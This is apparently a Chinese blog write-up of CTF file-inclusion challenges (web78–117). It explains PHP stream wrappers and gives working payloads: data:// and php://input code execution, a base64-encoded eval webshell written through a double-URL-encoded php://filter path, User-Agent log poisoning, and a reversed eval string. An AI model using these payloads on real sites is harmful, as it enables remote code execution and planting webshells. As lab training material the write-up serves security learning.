当前位置: 首页 > article >正文

ctf文件包含

⽂件包含,通过PHP函数引⼊⽂件时,传⼊的⽂件名没有经过合理的验证,从⽽操作 了预想之外的⽂件,就可能导致意外的⽂件泄漏甚⾄恶意代码注⼊。

产⽣的条件: 常⻅的包含,在之前做命令执⾏的时候也已经⽤过了 include() require() include_once() require_once() 此外,常⽤的还有之前在web37写的伪协议,这⾥再复制过来

72 总: file:// 协议 php:// 协议 zip:// bzip2:// zlib:// 协议 data:// 协议 http:// 协议 https://协议 phar:// 协议 分: file:// 协议: 条件 allow_url_fopen:off/on allow_url_include :off/on 作⽤:⽤于访问本地⽂件系统。在include()/require()等参数可控的情况下,如果导⼊⾮ php⽂件也会被解析为php ⽤法:1.file://[⽂件的绝对路径和⽂件名] 2.[⽂件的相对路径和⽂件名] 3.[http://⽹络路径和⽂件名] php:// 协议:条件 allow_url_include :仅php://input php://stdin php://memor y php://temp 需要on allow_url_fopen:off/on 作⽤:php:// 访问各个输⼊/输出流(I/O streams),在CTF中经常使⽤的是php://fi lter和php://input,php://filter⽤于读取源码,php://input⽤于执⾏php代码 php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流) read =(可选) write=(可选) 对read和write,可选过滤器有string.rot13、string.toupper、string.tolower、 string.strip_tags、convert.base64-encode & convert.base64-decode

⽤法举例:php://filter/read=convert.base64-encode/resource=flag.p hp zip:// bzip2:// zlib:// 协议: 条件:allow_url_fopen:off/on allow_url_include :off/on 作⽤:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩⽂件中的⼦⽂ 件,更重要的是不需要指定后缀名 ⽤法:zip://[压缩⽂件绝对路径]%23[压缩⽂件内的⼦⽂件名] compress.bzip2://file.bz2 compress.zlib://file.gz 其中phar://和zip://类似 data:// 协议: 条件:allow_url_fopen:on allow_url_include :on 作⽤:可以使⽤data://数据流封装器,以传递相应格式的数据。通常可以⽤来执⾏PHP 代码。 ⽤法:data://text/plain, data://text/plain;base64, 举例:data://text/plain, data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

web78

利用php伪协议的data协议和input协议都能解。

传参 file=data://text/plain,<?php system("ls");?>,查看目录,然后传参 file=data://text/plain,<?php system("tac flag.php");?>,拿到flag。

或者传参 file=php://input 同时内容为 ?php system("ls");?>,查看目录

不知道为什么cat用不了,只能yongtac

web79

和上一关差不多过滤了php,使用data和php短标签

web80

过滤了data和php,data不能⼤⼩写绕过,使用日志文件包含

然后将一句话写入ua头

web81

多过滤了一个:号,远程文件包含和大小写绕过不行了,只能用日志包含

还是和上一关一样,用ua头

web87

将如果file出现phpdata:.就会替换成???,

urldecode对file进行解码,最后面加上$content

file_put_contents 函数创建或修改由 $file 变量指定的文件,并写入固定的 PHP 代码 "<?php die('大佬别秀了');?>" 加上 $content 变量的内容。

看到这里直接试试通过编码写入东西

die函数需要绕过,避免程序终止。

使用base64绕过

因为base64解密为4字节为一组,并且base64编码中只包含64个可打印字符。其他的字符都将被忽略掉,故 <?php die()> 会变成 phpdie,因此需在加两个字节变成8个字节

使用php伪协议将base64的一句话写入文件,然后连接或者命令执行

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%61%25%36%39%25%37%35%25%37%61%25%36%38%25%36%35%25%36%65%25%32%65%25%37%30%25%36%38%25%37%30

aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

jiuzhen.php

web88

file包含禁止的符号,就会执行die解释

include 函数会将指定文件的内容复制到当前位置,并且执行该文件中的代码。

这里没有过滤data协议,也没有过滤分号,可以使用data先传入一句话

data://text/plain; base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg

一句话要用base64加密,后面的==可以删除,没有影响,只是一个标志

web116

访问之后发现是一个视频,用f12看了看也,没什么有用的东西,就将视频下载下来了,用随波逐流看了一下发现有一个隐藏文件

第一次用的Binwalk文件提取 第二次用的Foremost文件提取

Binwalk是Linux下用来分析和分离文件的工具,可以快速分辨文件是否由多个文件合并而成,并将文件进行分离。如果分离成功会在目标文件的目录。有压缩包自动解压

foremost,将目标文件复制到 kali 中,成功执行后,会在目标文件的文件目录下生成我们设置的目录,目录中会按文件类型分离出文件。有压缩包不会自动解压

分离之后有一个图片和一个MP3(打不开)

从代码里也没什么发现,过滤了一些东西,直接进行包含试试,发现通过f12不行,用了bp

data://协议 通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行

php://input协议 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当表单 enctype=multipart/form-data 时,php://input将会无效

看了一下只能通过直接包含,写入不了一句话了

web117

禁用了input和data

和上面的web87有点像

通过?file=php://filter/写入文件

查看发现不行,进行了换位,通过反向操作构造

?<hp pvela$(G_TE'['a)] ;>?


http://www.kler.cn/a/445372.html

相关文章:

  • MyBatis入门的详细应用实例
  • nginx自定义错误日志
  • 谷歌浏览器的扩展市场使用指南
  • arcgisPro相接多个面要素转出为完整独立线要素
  • 进程间通信博客总结目录
  • Nginx中Server块配置的详细解析
  • [创业之路-200]:什么是business(业务)?B2B, B2C, B2G业务, 什么是业务设计?
  • 任务一登录安全加固
  • 前端TypeScript学习day03-TS高级类型
  • 任务2 配置防火墙firewalld
  • MySQL——EXPLAIN
  • 深入理解 C++ 中 std::vector 和 std::set 容器的使用
  • 机器学习中做时间序列模型考虑把时间作为特征分析
  • Java 后端给前端返回的long精度缺失,导致数据不一致
  • 京东大数据治理探索与实践 | 京东零售技术实践
  • 构建全方位大健康零售帮助中心:提升服务与体验
  • ES6学习Set 、Map(六)
  • 新能源汽车产销数据分析
  • MYSQL_联合查询(全)
  • MacOS安装MySQL
  • 监控IP频繁登录服务器脚本
  • 卡尔曼滤波效果(python应用)
  • 半导体制造技术导论(第二版)萧宏 第十二章 化学机械研磨工艺
  • 负载均衡-lvs
  • TDengine 新功能 通过 UID 删除不可见表
  • Midjourney参数大全